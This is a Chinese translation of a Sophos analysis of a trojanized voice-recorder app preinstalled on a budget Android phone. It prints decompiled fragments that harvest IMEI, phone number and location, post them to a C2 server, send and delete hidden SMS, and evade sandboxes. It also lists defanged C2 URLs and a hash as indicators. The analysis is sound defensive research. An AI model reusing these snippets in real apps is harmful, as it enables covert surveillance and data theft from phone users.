本文为翻译稿件,原文来自
https://news.sophos.com/en-us/2018/10/02/the-price-of-a-cheap-mobile-phone-may-include-your-privacy/
我们使用Trojaned第三方应用程序查看出厂时已安装恶意软件的手机时发现,廉价的手机可能受到“供应链危机”的影响。

如今,在购买新的Android手机时,用户可以根据自己的预算进行许多选择。 但是一些廉价的非品牌手机可能无法提供使用品牌手机的客户所期望的相同水平的服务。 在某些情况下,用户在厂商处购买的新手机可能预先安装了可能不需要的应用程序(PUA)甚至恶意软件 - 这种情况称为“供应链妥协”。

如今,直接从制造商处发货的手机中预装了大量恶意软件与不需要的应用程序。我们所发现的手机制造商均有过这样的情况。许多Android手机和其他移动设备制造商都捆绑了第三方的应用程序。 通常这些应用程序安装在高权限应用的两个位置其中某一个,即/ system / app/ system / priv-app文件夹。

理论上,安装到这些位置的应用程序应该是受信任,例如文件管理器或其他实用程序。 实际上,应用程序制造商有时会向手机制造商付费用以将程序初始化安装在出厂手机中。 这种商业模式没有任何实质性的错误,因为手机制造商可以通过这种模式来保持产品的低价格,应用程序开发人员可以根据此来推广自己的产品并建立良好的声誉。

另一方面,并不是每个使用者都能够很完善的使用自己的应用。由于开发人员编码不当或者为了更多的盈利,他们开发的应用程序有可能包含不良的功能。 最近我们遇到了一个有趣的Android无线接入技术,它以第三方应用程序的形式预装,而此手机来自一家不太知名的制造商。

恶意录音功能

2017年12月,在Android手机爱好者所欢迎的留言板上我们能看到,
最近某些手机上的应用收到了手机杀毒软件的病毒警告。这款名为“录音机”的应用程序与深圳uleFone制造的S8 Pro捆绑在一起。 这是一款质地光滑的Android手机,它的设计理念令消费者印象深刻。

为证实此声明,我们购买了相同型号的手机。 我们下载并检查了制造商在其技术支持页面上链接的此型号手机的镜像内容。

/ system / priv-app文件夹中我们发现了所谓的恶意录音机应用程序SoundRecorder.apk。我们认为此版本的应用是一种故意化木马程序。此恶意软件通过向合法应用程序添加一个名为com.android.prize的恶意模块生成的。

这个应用程序没有收益且该模块与录音无关。 相反,它收集用户的个人信息(例如电话号码和地理位置)并将其发送到远程服务器。目前我们还不清楚这是一种恶意代码,还是只是一个具有侵略性的应用分析工具。 更为恶意的是,它还能够将SMS发送到应用程序的数字列表硬编码中,并且用户在没有收到通知或同意的情况下通过SMS消息接收RAT指令。

下图将左侧受感染应用程序的结构与右侧感染之前的合法应用程序进行比较。 请注意红色框中的功能名称。

不必要行为

恶意行为以BroadcastReceiver开始 —一个等待手机在完成引导时发送的BOOT_COMPLETED广播的类。 此机制为恶意软件提供持久性,以便它可以在重新启动后继续运行。

在BroadcastReceiver类中,应用程序启动一个名为ClickSimStateService的服务。 此服务可以收集大量详细的私人信息并向中央服务器发送。而信息包括电话的唯一IMEI标识符,电话号码和位置。

Object v5 = arg15.getSystemService("phone");

this.imsi = ((TelephonyManager)v5).getSubscriberId();

this.imei = SalesStatisUtil.getIMEI(arg15);

this.mobile = ((TelephonyManager)v5).getLine1Number();

this.provider = this.getProvider(this.imsi);

ClientInfo.networkType = ((byte)ClientInfo.getAPNType(arg15));

接下来,它使用百度位置API获取设备的位置:

String v0 = arg9.getAddrStr();

if(v0 != null) {

DecimalFormat v2 = new DecimalFormat("###.0000");

Log.v("PrizeSalesStatis", "[StartSalesStatisService]----BigDecimal bd = " + new BigDecimal(arg9.getLatitude()).setScale(2, 4).toString());

StartSalesStatisService.this.latitude = Double.valueOf(v2.format(arg9.getLatitude()));

StartSalesStatisService.this.longitude = Double.valueOf(v2.format(arg9.getLongitude()));

然后,该模块将所有收集的信息打包为JSON格式,并在此用HTTP协议进行POST传递:

hxxp://dt.szprize.cn/mbinfo.php

它收集并提交给远程服务器的信息包括:

  • 手机号码
  • 经纬度、街道等位置信息
  • IMEI表示符、安卓ID
  • 屏幕分辨率
  • 生产商、手机型号
  • cpu信息
  • 网络类型
  • mac物理地址
  • ram和rom的大小
  • sd卡的大小
  • 语言与国家
  • 手机设备提供商

目前我们并不清楚这是录音机的应用程序分析组件还是恶意软件程序将配置文件信息发送到其c2服务器。

然后,更为恶意的模块创建了另一个名为AutoSendSmsService的服务,该服务将设备模型信息和IMEI的SMS值随机发送到硬编码列表中的一个电话号码中去:

AutoSendSmsService.telNumber = AutoSendSmsService.telephoneNum[this.readomTelNum()];

Log.v("PrizeSalesStatis", "---- ----> devicestate == " + this.getDeviceInfo());

this.sendsms(AutoSendSmsService.telNumber, this.getDeviceInfo());

接下来,它监听广播SMS_RECEIVED和SMS_SENT。 这些广播在每次电话发送或接收文本消息时都会生成。 通常,手机会将消息发送到用户安装的SMS应用程序中,但恶意SMS代码会对消息进行拦截并删除,因此它们永远不会在手机的短信应用中显示。

AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://sms/failed");

AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://mms/drafts");

AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://sms/sent");

AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://mms/inbox");

AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://sms/outbox");

最终利用上述方法,恶意程序会在用户设备中隐藏自己的SMS功能的痕迹。

后门程序的功能

泄露个人信息并发送隐蔽的短信似乎还不够糟糕,恶意应用也有它的后门。它通过HTTP协议与C2服务器联系以获取指令,并可以执行以下任务:

  • 下载安装应用
  • 卸载应用程序
  • 执行shell指令
  • 在浏览器中打开URL地址(这个功能在我们分析的例子中非常有效果)

为了避免被分析软件发现,此恶意软件使用了各种方法保持隐蔽性。其中一些方法也十分有趣。

  • 后门模块伪装成Android支持代码库的一部分。
    <receiver android:name="com.android.support.Receiver">

  • 所有字符串均被加密

要确保设备由真实用户(而不是测试设备或沙箱)使用,它只会在以下检查之一通过时启动后门功能:

  • 它将呼叫记录中所有呼叫持续时间相加,并检查命令和控制服务器中接收的总时间是否超过某个值。
totalcallduration = a._getcallduration(this.a);
            _logger.b("call Tms = " + _totalcallduration);
            v0_1 = _totalcallduration < this._calltimethreshold * (((long)com.android.support.a._60)) ? 1 : 0;
            if(v0_1 == 0) {
                _logger.b("reached call time,active!");
                f._edit_shared_pref(this.a, "pf_ky_ulk_tms", true);
                return;
  • 从程序包管理器获取应用程序安装的日期,并计算应用程序已安装的总天数,然后检查该时间是否超过从C2服务器收到的可配置的值。
    while(v5.hasNext()) {
          v6 = this.c(v5.next().firstInstallTime);
          if(v4_1.contains(Long.valueOf(v6))) {
              continue;
          }
          v4_1.add(Long.valueOf(v6));
      }
    v0_1 = (((long)v4_1.size())) < this._threshold ? 1 : 0;
      if(v0_1 == 0) {
          _logger.b("reached call time,active!");
          f._edit_shared_pref(this.a, "pf_ky_ulk_tms", true);
          return;
      }

后门程序的运行

后门模块结构合理并且非常灵活。 我们来看看他们的工作流程是什么样的。

首先,它访问以下URL并发送IMEI、MAC地址、appID、总呼叫持续时间和可用的外部存储大小。
hxxp://play.xhxt2016.com/logcollect/log-information

然后,它访问C2服务器并将自己注册为僵尸网络中的活动节点。 同样,它会发送IMEI、MAC地址、网络类型以及安装此应用程序的位置信息。 如果设备为平板电脑、手机或者改设备已被root,那它也会发送该信息。之后服务器会返回一个UserID,它将会在服务器通信时使用。
hxxp://apis.sunlight-leds.com/user/register_lock

接下来,恶意软件会检查我们在上一节中所描述的使用者,以确保它在真实用户设备上运行。 如果检查通过,它将发送另一个HTTP请求以获取后门包括服务器URL的配置。 这意味着RAT的运营商可以动态地配置C2服务器。 它还包括描述恶意软件下次联系C2服务器的时间间隔,以及应用名称的“白名单”。

hxxp://apis.sunlight-leds.com/get/policy

最后,恶意软件会从C2服务器接收指令。 该指令是我们上述的四种之一。
hxxp://apis.sunlight-leds.com/get/net_work

编写恶意软件的作者付出了很多努力,以最大限度地提高攻击成功的可能性。 例如,当RAT尝试安装应用程序时,如果手机上没有足够的空间,它将清除缓存并卸载一些应用程序以释放空间。 但它会将应用程序保留在配置阶段的“白名单”中。

ArrayList v0 = com.android.support.utils.e._getinstalledpackage(arg5);
if(v0 != null && v0.size() > 0) {
    try {
        String v0_2 = v0.get(new Random().nextInt(v0.size())).packageName;
        if(this.b.getWhiteList().contains(v0_2)) {
            _logger.b("freeing space failed,because the app is in white list");
            return;
        }

目前尚不清楚SMS模块和后门模块之间的连接是什么。 他们的编码风格不同并且会联系不同的服务器。所以他们可能来自不同的作者。 但不知为何,作为系统root应用程序运行的SoundRecorder被装配了两个恶意模块。 这给移动用户带来了真正的威胁。

手机固件挑战

uleFone S8 Pro是大型廉价Android手机之一。它使用了来自名为MediaTek公司的CPU。你无法完全确定此手机的固件对用户是友好的
但在这种情况下,我们也花了很多精力将包含恶意软件的固件安装到手机上。这主要是因为uleFone网站将我们链接到过时的下载地址处。除此之外,固件以及应用程序的版本均不正确也增加了安装难度。

我们购买的手机运行的是新版本的Android固件,而原始报告声称这是产生问题的根本缘由。 我们在之后的固件版本中没有检测到恶意软件的存在,但我们也确实找到了录音应用的固件版本url地址。这也是我们获取样本并进行分析的方式之一。

更复杂的是,我们发现uleFone在各种开放云文件托管平台上托管其固件镜像,例如在Microsoft Azure和Google云中我们发现了相关内容。 S8 Pro固件镜像托管在通用Google Drive目录中,而且没有其他迹象表明它们是固件的官方合法来源。 固件镜像过于庞大致使Google Drive无法扫描其内容中的恶意软件,因此用户并不知道他们接受的固件是否无毒。

由于缺乏直接连接到制造商网站的链接以及没有通用文件共享目录中的固件镜像,因此对于冒充这个制造商网站的恶意行为者来说,将URL指向带有存放在Google云端硬盘木马固件是非常容易的。

我们不相信这种情况会发生,但这种由众多人提出的关于安全保护的风险是不可避免的。 对于用户来说,他们也很难进行区分。

过去几周我们一直试图联系相关公司,以便提醒他们注意这些问题。但是他们并没有回应。

总结

从这个例子中我们得出的一个简单的结论是:如果性价比非常高的手机价格十分便宜,那么你有可能会在其他地方去支付你手机的费用。
找到高声誉、高质量的手机质量高的手机生产商并不难。

这不仅仅是影响生产商的问题,
相反,这是供应链妥协的典型例子。 一家手机制造商未能对其具有合作关系的第三方应用厂商的代码进行必要的尽职调查。他们向客户发送带有恶意应用程序的固件,这会导致其本身也会成为受害者之一。但这仍不是制造商对其手机内具体应用一无所知。

廉价手机的制造商一直在寻找创造性的方法来使他们的手机更有价值。 虽然这没有任何本质上的错误,但有时这些努力是以牺牲其他人的隐私为代价的,是由消费者所承担的。

IOC

1b07a6a64f41e2c5154c232ea7450cca59170aab

URLs

play.xhxt2016[.]com/logcollect/log-information
apis.sunlight-leds[.]com/user/register_lock
apis.sunlight-leds[.]com/get/policy
apis.sunlight-leds[.]com/get/net_work

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖